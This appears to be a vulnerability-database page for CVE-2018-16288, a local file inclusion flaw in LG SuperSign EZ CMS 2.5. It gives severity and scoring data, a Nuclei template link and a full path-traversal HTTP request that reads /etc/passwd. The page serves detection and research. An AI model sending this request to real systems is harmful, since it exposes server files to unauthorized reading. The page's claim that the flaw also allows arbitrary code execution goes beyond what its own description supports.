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CVE-2018-16288: LG SuperSign EZ CMS 2.5 - Local File Inclusion

TitleLG SuperSign EZ CMS 2.5 - Local File Inclusion
Authordaffainfo
SeverityHigh
ImpactAn attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
RemediationApply the latest security patches or upgrade to a patched version of LG SuperSign EZ CMS.
CVSS Score8.6
EPSS Score0.6366
CVE IDCVE-2018-16288
CWE IDCWE-200
Tags cve cve2018 lfi supersign edb lg vuln

🔍 Vulnerability Description

LG SuperSign CMS 2.5 allows reading of arbitrary files via signEzUI/playlist/edit/upload/..%2f URIs - aka local file inclusion.

🌐 HTTP Request

GET /signEzUI/playlist/edit/upload/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-16288.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-16288.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A